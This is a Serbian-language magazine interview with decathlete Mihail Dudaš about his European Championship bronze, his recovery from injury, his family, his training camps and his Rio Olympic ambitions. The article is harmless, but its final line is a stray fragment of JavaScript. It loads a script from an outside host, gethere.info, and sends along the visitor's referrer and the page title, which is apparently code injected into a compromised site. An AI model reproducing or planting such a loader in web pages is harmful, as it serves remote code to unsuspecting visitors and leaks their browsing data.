INTERVJU, MIHAIL DUDAŠ, DESETOBOJAC: Zver probuđena pred Rio

Desetoboj je gladijatorstvo! Silazimo u koloseum i dva dana da se borimo sa ljudima koji su, maltene, najspremniji na planeti. Za pobednika u desetoboju se govori da je najbolji sportista na svetu, doduše nezvanično. Upotpunosti je to gladijatorsko nadmetanje. Moraš biti ful skoncentrisan, maksimalno borben u svakom momentu i moraš svaku disciplinu da odradiš na najbolji mogući način. I da nijednom ne padneš!

Srpska kraljica sportova ima svog plemića. Ako Mihaila Dudaša doživite samo kao uspešnog atletičara, bespogovorno će te uprostiti jednu po mnogo čemu vitešku karijeru u kojoj mentalna čvrstina pomera takmičarske granice kao limite očekivanja i odricanja. Osvajač bronzane medalje sa poslednjeg Evropskog šampionata u Amsterdamu - što je povod za gostovanje u Ekspresu, a razloga je mnogo više i od njih može da se napravi lepeza društvenog osveženja i optimizma - kroz život ide poštujući pravila višeboja: brže, više, dalje i još dalje.

Desetobojac novosadske Vojvodine, gladijator sa mekim srcem, rekorder iz ljubavi, fini dečko iz komšiluka, promoter otmenosti i elegancije i šta ne još, o sebi priča kao o projektu Srbije, o hrabrom ulasku u koloseum i klinču sa najjačima sportistima na svetu, rvanju sa neverovatnom serijom povreda posle kojih bi ogromna većina obesila sprinterice o klin predaje, ali priča i o ljudima koji su ga zaboravili i onim drugima, porodici i prijateljima, koji su ga jednom rukom pridržali a drugom rukom pokazali na olimpijski Rio i rekli: „Tamo idu najbolji, ti pripadaš njima"

- Jako mi je drago što sam se iz cele ove situacije, a bilo je intervala skoro od godinu i po dana kad se nisam takmičio, izvukao sa bronzanom medaljom sa Evropskog šampionata u Holandiji. Nadam se da ću zbog načina na koji sam se vratio atletici, biti inspiracija mladima, klincima, ali i starijima koji se suoče sa sličnim problemom. Zapravo, svima onima koji se u nekim momentima nađu u ćorsokaku kad je u pitanju realizacija ciljeva i svega ostalog. Ne sme biti predaje! Ako se sebi postavi jasan cilj, neki plan da se do nečega dođe, bez obzira što ne vidimo svetlo ono na kraju tunela ipak postoji. Treba ići ka tome. Drago mi je što sam svojim primerom, verujem na najbolji mogući način, pokazao i kako treba verovati u svoj cilj i svoj san.

Bio je 12. dan olimpijskih igara u Londonu 2012. kad je pre starta trke na 400 metara osetio vrtoglavicu i sa staze je odvezen u bolnicu. Proveo je noć na pregledima.

- Sve to što se tada izdešavalo za mene je tada bio snažan šok koji je vremenom prerastao u veliki motiv. Mnogo se više nauči iz negativnih iskustava, a Olimpijske igre u Londonu za mene su upravo to.

Pre dve godine, sredinom jula, nakon silnih peripetija sa Ahilovom tetivom i zadnjom ložom iz Helsinkija je prijateljima poslao poruku: „Moram na operaciju". Tako je odlučio čuveni ortoped-hirurg Sakari Orava, inače lekar fudbalskog kluba Milan i čovek koji brine o zdravlju najboljih svetskih atletičara kao i drugih asova.

- Imam običaj da kažem da sam operisao Ahilovu tetivu, ono mesto gde me je mama držala kad me je potapala u reku da postanem besmrtan. Šalim se, naravno. Rekao sam tada priajteljima da ću se vratiti jači i brži i uveriću celu planetu koliko vredim.

Šta sve prolazi kroz glavu sportisti kojeg povreda odvoji od staze, treninga i takmičenja?

- Prolazi milion stvari, milion faktora, milion pitanja. Ministarstvo omladine i sporta, Olimpijski komitet, Atletski savez, pokrajina i grad su puno uložili u mene. Očekivalo se na neki način da uradim ovo što sam uradio, a ono što će biti dalje to je u izvesnom smislu bonus i neki poklon koji ću sebi da priuštim. Ova medalja iz Amsterdama, kao i sve ostalo do sada ostvareno predstavlja vraćanje duga za ono što je u mene uloženo. Sebe smatram projektom Srbije!

Znači, medalja iz Amsterdama ima veću specifičnu težinu od osvojenog trećeg mesta?

- Sigurno, predstavlja pobedu nad nekim crnilom u mom životu. U te dve godine moji prijatelji, porodica, devojka i treneri i ceo moj tim su bili uz mene. Dok, neki drugi ljudi su, jednostavno, po nekoj inerciji zaboravili da ja postojim. Definitivno, bronza sa Evropskog šampionata je moja pobeda i korak ka novim ostvarenjima.

Rezerve bronze u Srbiji još jednom su povećane?

- Kolekcija se obogaćuje. Postajem kralj bronzanih medalja. Osvojio sam bronzu na Svetskom juniorskom prvenstvu 2008. godine, potom na Evropskom prvenstvu za mlađe seniore 2009. i 2011. godine, i onda na dvoranskom prvenstvu Evrope u Geteborgu 2013. Amsterdam je moja peta bronzana medalja. Bronza kao sudbina, ne žalim se, samo brojim.

Desetoboj važi za najtežu disciplinu. Za njegove najbolje takmičare kaže se da predstavljaju vrhunac telesne evolucije Potrebni su spartanski duh, fantastična priprema, snaga i izdržljivost.

- To je gladijatorstvo! Silazimo u koloseum i moramo dva dana da se borimo sa ljudima koji su, maltene, najspremniji na planeti. Za pobednika u desetoboju se govori da je najbolji sportista na svetu, doduše nezvanično. Tako da je desetoboj upotpunosti gladijatorsko nadmetanje. Moraš biti ful skoncentrisan, moraš biti maksimalno borben u svim momentima i da nastojiš svaku disciplinu da odradiš na najbolji mogući način i da nijednom ne padneš.

Medalja iz Amsterdama, kao i sve ostalo do sada ostvareno, predstavlja vraćanje duga za ono što je u mene uloženo. Sebe smatram projektom Srbije!

Koja je 11. disciplina desetoboja?

- Jedanaesta disciplina? Organizacija ovih deset disciplina, treninzi... I ta jedanaesta disciplina je, zapravo, najvažnija. Ta priprema za sam desetoboj. Treninzi i sav taj proces su mnogo važniji nego sam višeboj. Pod umorom ste i stresom, a u svakodnevnim okolnostima se morate pripremati za skok motkom, bacanje koplja, sprint. Sve to treba programirati i iskontrolisati pre ulaska u borilište.

Najteža „desetina"?

- Nema najteže! Sve su discipline najlakše. Ne bih mogao ni da kažem koju najviše volim. To je isto kao da imate desetoro dece. Kako da kažeš voliš samo to i to dete. Disciplina ima svoju lepotu, ima naravno i svoje negativne strane, ali obazirem se samo na lepe stvari, tako da ih sve volim. Da sam se odlučio da ostanem veran jednoj disciplini, sigurno bih postigao bolje rezultate, ali samo u toj disciplini.

Kako održati koncentraciju od početnog sprinta do završnih 1.500 metara?

- Svaka disciplina koja se odradi odlično, ili pak jako loše, ostaje iza nas. Uostalom, kao sve u životu. Šta god da se desi, okreće se list i idemo dalje. Pokušaću da se u svakoj disciplini takmičim kao da se samo u njoj takmičim.

Potičete iz sportske porodice. Otac Đuro je igrao rukomet, majka Marija i brat Ivan bili su u atletici. Koliko znači njihova podrška?

- Podrška porodice je ogromna, najbitnija. Oni su ti koji mi najčešće pričaju i najčešće daju savete, e sad da li su oni dobri ili loši, nije ni važno. Ali važno je da je sve to iz najbolje namere. Porodica i podrška devojke i prijatelja su dragocenosti.

Prvi rezultat u pamćenju?

- Imao sam sedam godina i otišao u Nemačku na međunarodno takmičenje. Trčao sam 60 metara i bio drugi. I bilo mi je jako krivo što nisam pobedio. Isto sam sada nezadovoljan zašto u Amsterdamu nisam bio prvi. S druge strane, zadovoljan sam. Uspeo sam da u jednoj tako jakoj konkurenciji osvojim treće mesto, ali težim najvišem mogućem.

Kad je stigla potvrda „izabrao sam pravi sport"?

- To je bilo onog momenta kad sam kročio na stazu. Imao sam pet godina, a moj brat Ivan, koji je stariji šest godina, trenirao je atletiku. I ja sam se onda zaljubio u nju. Praktično, od kad znam za sebe pripadam ateletici. Svi smo mi predodređeni za nešto. Neko za nauku, neko za slikanje, neko za muziku, neko za odbojku, neko za pecanje, a neko za desetoboj. Uz talenat, potrebna su velika odricanja i veliki trud, ali, nezaboravimo i sreća, da se čovek pronađe i ostvari u sferi koju je izabrao. To isto važi za desetoboj.

Čime osvaja atletika?

- Mene je osvojila narandžasto-zelenom kombinacijom. Bojom terena i bojom staze. Kad imaš pet, šest godina, najbitnije je da je oko tebe sve šareno. Na kraju krajeva, tokom ovih dvadeset godina bavljenja atletikom osvojilo me je to što je reč o naj fer sportu, nema da se proguraš zbog toga što ti je neko u porodici nešto ili što imaš veze ili ne znam šta. Koliko si skočio toliko si skočio, koliko si brz toliko si brz, koliko baciš toliko baciš. Koliko skupiš na kraju poena na kraju krajeva toliko i vrediš. To je ono što odlikuje atletiku, jako fer sport.

Kako su se slagao mozaik zvani desetoboj?

- Počeo sam trčanjem na 400 metara, potom sam krenuo sa skokom udalj, pa bacanjem koplja i na kraju sam 2006. godine završio u višeboju. Bolje rečeno, počeo... Svaka disciplina, u to sam se uverio za ovih deset godina, ima neke svoje čari. Još sam na početku, kad sam odlučio da se bavim višebojem, shvatio da moram da zavolim sve discipline i da u njima postignem ono najbolje. Svaka mi je draga, jer u sebi sadrži ono što je lepo i zato je isključen pristup da se od deset disciplina pet voli, a pet ne voli. Ne bi voleo da se bavim onim što ne volim.

Koliko je važna mentalna snaga?

- Glava je najvažnija! Ono što je karakterisalo moje dve, tri poslednje godine, ovu medalju jeste što sam mentalno ojačao. Višeboj u Amsterdamu je bio jako težak i stresan, bio je jako komplikovan. Mnogi su poispadali, organizacija sama po sebi je bila loša. Mi, takmičari smo morali sami da se snalazimo u tom celom haosu. Dobra mentalna priprema me je izvukla, tako da sam uspeo da stignem do medalje.

Za vreme takmičenja na koga usmeravate pažnju?

- Na samog sebe. Prvo sebe moram da pobedim. Zašto? Zato što sam sebi najteži protivnik. Kako onda da pratim ostale? Zamislite, imate deset disciplina, imate 32 atletičara, znači 320 disciplina ja treba da gledam, da vidim ko je šta uradio, koliko je skočio, kakvo vreme ostvario, koliko bodova napravio, plus računice. To je more brojki i informacija. Ne, to nema smisla. Najbitnije i ući na borilište i izaći sa njega kao pobednik pred samim sobom!

Boravak u Južnoj Africi, sa trenerom Feđom Kamasijem i svojim timom, odvijao se u ritmu jedeš, spavaš i treniraš. Kako je bilo izdržati tih pet meseci?

- To je nešto najlepše, pogotovo ako si sa ljudima koje voliš. Bio je moj tim. Eto, sa mnom je u januaru bila moja devojka Sanja. Bilo nam je prelepo i to bih svima preporučio, koji imaju priliku da to urade.

Čitamo iz dnevnika: „25. april 2016. Potchefstroom, South Africa. Danas sam pomerio par granica. Kuglu od 4 kg iza leđa sam bacio 22,75 m, prepone su bile brze, iako sam „polupao" pet od pet. Dalj sam skočio 7,10m iz deset koraka i u teretanu uradio step sa 200 kg. Prvi desetoboj se bliži, zver u meni se polako budi".

- Ne može drugačije da se radi. Ako želiš da uspeš moraš da pomeraš rekorde. Teško je kod nas višebojaca sabrati šta se i koliko odradi. Ogromna je brojka. Koliko sam puta bacio koplje, disk, skočio u vis, pa u zadnjih godinu dana to bi bilo desetina hiljada. Definitivno, mnogo rada i truda je uloženo u poslednjih dvadeset godina koliko treniram, pa i proteklih sedam, osam, devet meseci. Pik je bačen na sve discipline i pronašao sam u svakoj disciplini srž. Najvažnije je da se na samom takmičenju setim te srži i posvetim pažnju svom telu, a ne da razmišljam o tome koliko će ko od rivala da skoči ili baci.

Nastavak pripreme za Evropski šampionat u Holandiji odrađen je u Sloveniji.

- Bohinj je bio odličan izbor. Bili smo na Bledu dve nedelje pred Evropsko prvenstvo. Bled za poznavaoce „Gospodara prstenova" izgleda kao Rivendal. Tamo sam otišao tužan. Pas koga sam imao od 2009. godine i koji je mahao repićem kad god se vratim sa takmičenja bez obzira sa medaljom ili bez nje, morao je zbog bolesti da bude uspavan. Za moju Bonitu je čula cela Srbija. Sve to je prouzorkovao izuzetno veliki stres u meni. I Bled je iz mene izvukao maksimalno svu tu negativnu energiju.

Atletika je naj fer sport, nema da se proguraš zbog toga što ti je neko u porodici nešto ili što imaš veze ili ne znam šta. Koliko si skočio toliko si skočio, koliko si brz toliko si brz, koliko baciš toliko baciš

Nakon što je, polovinom maja u Novom Sadu, pala norma za Olimpijske igre, od Asmira Kolašinca stigla je poruka: „Bravo, Zver!"

- Velika je stvar kada neko takav to napiše. Čovek sa 140 kila mišića i čovek koji baca kuglu preko 20 metara kad napiše da si zver onda to ima posebnu težinu.

U snovima sada da li se više vraća film poslednje trke sa šampionata u Amsterdamu ili su već uplovili kadrovi iz olimpijskog Rija?

- U celu ovu godinu sam ušao bez nekog pritiska i ptanja šta ću i kako ću. Možda ludački zvuči, ali razmišljam samo o disciplinama. Kako radim svaku disciplinu, šta mi je najbitnije u toj disciplini. Apsolutno razmišljajući, onako bez zagrade, da će biti 100 hiljada ljudi i da će biti 30 najboiljih desetobojaca sveta i da su oni isto tako spremni i odlučni kao ja.

Dve nedelje pred paljenje olimpijskog plamena na „Marakani" na poznatom ste „zaletištu"?

- Vratio sam se u Sloveniju, na Bled i na Brdo kod Kranja. Potpuno sam posvećen Olimpijskim igrama. Vreme slavlja je isteklo uveliko, vreme je da se nastavi dalje. Najvažnije je da se vratim u mentalnu zonu i da se fokusiram na ono što me tamo čeka. Pristup svakom treningu treba biti isti kao da sam na Olimpijskim igrama. Jednostavno, da se ubacim u taj neki mod.

Kad je, zapravo, Mihail Dudaš krenuo na OI 2016?

- Kad sam se rodio! Ne znam da li ljudi u Srbiji mogu da shvate šta znači biti olimpijac. Koliko je samo velika stvar biti učesnik Olimpijade i plasirati se među 30 takmičara, boriti se sa najboljima na svetu. Kako to ilustrujem. Primer koji ja dajem kad sam kod frizera ili ne znam već gde, pa me pitaju kako ćeš ti tamo, da li ćeš medalju uzeti. Ja im kažem: "Okej, hajde da vidimo kolika je težina uzeti medalju na Olimpijskim igrama". Skupi sve frizere na ovom svetu, dakle imaš one koji friziraju Vila Smita i one koji friziraju Karleušu ili svog komšiju koji dolazi da se frizira za dvetsto dinara i sad uđeš u hiljadu najboljih na svetu. Pitam ja njih: „Kako bi se osećali?" I dobijem odgovor: „Jao, super bi bilo." Hajde , nastavljam dalje: „Od tih hiljadu da se plasiraš u prvih sto?". Oni poskoče: „Ju-ju, pa mi bismo zarađivali...ne znamo koliko". E sad, od tih sto budi među prvih trideset. I među tih trideset budi prvi. Tako to ljudi treba da shvate i prihvate. Generalno, medalja je odlazak na Olimpijske igre. To je već nešto što je veliki uspeh. A biti među prvih petnaest je izuzetno. Biti među pet je abnormalno. A uzeti medalju je istorija!

Šta će reći frizer kad se vratite?

- Na Olimpijskim igrama mogu da osvojim 300 bodova više nego na Evropskom šampionatu u Amsterdamu kad sam stigao do bronze. To bi moglo da bude dovoljno za ulazak među prvih deset i to bio pravi podvig. Ako se poklopi da ostvarim svoje najbolje rezultate mogu do visokog plasmana. Neću da se zamaram kalkulacijama, očekivanja bi mi postavila granice. To neću. Za mene ne postoje granice! U svakoj disciplini treba da pristupim bezgranično. Onda mogu da očekujem neki ozbiljan rezultat.

Olimpijsko selo je top destinacija svake velike karijere?

- To je energija koju volim. Ovog puta bih želeo, po difoltu, da je doživim drugačije u odnosu na prethodnu Olimpijadi. U Londonu sam, nažalost, završio u bolnici. Radujem se ulasku u Olimpijsko selo, jedva čekam da vidim naše sportiste, koji će u Brazilu da se bore. Kad završim svoje takmičenje onda ću svakako pogledati njihove borbe. Ne smem da gledam dok se neko od naših bori za medalju ili za neki plasman. Lupa me adrenalin, a to je veliko trošenje.

Koga biste stranog sportistui voleli da upoznate u Brazilu?

- Nikog! Samo naše sportiste. Za ove druge mi je apsolutno jednako da li ću ih videti na televiziji ili susresti u selu, šetnji, na stadionu. Nemam tu neku postavku prema drugim sportistima. Svi su oni ljudi.

Škola „Dudaš atletiks" je zatvorila vrata?

- Nažalost... Školicu kao i još neke ideje za sada ne mogu da realizujem., U potpunosti posvećen atletici. Toliko sam preokupiran da nemam vremena za drugo. To je,nadame se, ipak privremeno zatvoreno. Neću odustati. Želim deci da omogućim ono što ja nisam imao kad sam počinjao sa atletikom. Treba im stvoriti uslove da nadgrade ljubav i talenat za ovaj prelepi sport.

Kakva je atletika kroz objektiv?

- Obožavam fotografiju. To je ventil za oslobađanje od stresa. Ipak, sad nemam vremena za škljocanje. Možda u Sloveniji napravim nešto. Priroda je inspirativna. Sad je najvažnije dobro se pripremiti za ono što me čeka u avgustu. Inače, dan pred takmičenje nizakog „nisam u dometu", povučem se u izolaciju. Isključim sve društvene mreže, mobilne telefone i druga sredstva komunikacije. Slušam muziku i podižem adrenalin.

Koji je glavni savet onima koji će posle narednih olimpijskih igara, možda baš zbog Vas, sa mamom ili tatom, bakom ili dekom, da dođu na „Karađorđe" ili neki drugi stadion?

- Generalno, kad dajem savete volim da ih pokažem kroz dela. Život je takav kakav jeste, nije lak, u nekim momentima nije jednostavno doći do onog što želiš. I češće će se naći u situaciji da ti ono što želiš izgleda nedostižno, ali i ne znaš da l ćeš to upeti i da li će se desiti ili neće. Najbitnije je verovati u ono što želiš, da budeš uporan i prosto da sačekaš svoj momenat. Trebaš imati svoj san i ne dozvoliti da te niko i ništa udalji sa tog puta. Ali moraš i biti realan prema sebi i proceniti da li možeš nešto da uradiš ili ne. Ali, ako vidiš jedan procenat realnosti da možeš da uradiš, učini to. Da rezimiram: sanjaj veliko, radi vredno, ostani fokusiran i okruži se dobrim prijateljima. To su principi kojima se treba voditi.

Bilo je ponuda da se takmičite pod „drugom zastavom"?

- Očigledno sam ih odbio. Srbija je u nekim momentima onako tužna i neambiciozna zbog svega što se izdešavalo, pa je veliki i jako bitan zadatak svih nas sportista da motivišemo narod svojim uspesima kako rešavanju svojih stvari pristupio na način kako to čine sportisti. Najvažnije je izboriti se za sebe i za svoje ciljeve. Svi mi koji se takmičimo pod zastavom Srbije, bez obzira u kakve situacije upadali - a eto ni ja nisam znao šta će biti sa mnom u vremenu kad sam bio van atletike, odnosno da li ću vratiti i doći do uspeha ili ne - moramo da ohrabrimo narod. Moramo da svojim primerom pokažemo ovim ljudima, koliko god da bude teško, da je važno biti pozitivan, optimističan, pronalzati perspektivu i ići ka svom cilju. Što više ljudi bude uspešno u Srbiji, Srbija će i sama da bude bolja i uspešnija. Srbiji jako puno dugujem i na ovaj način joj se odužujem- rekao je Mihail Dudaš, na kraju razgovora za Ekspres.

 s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';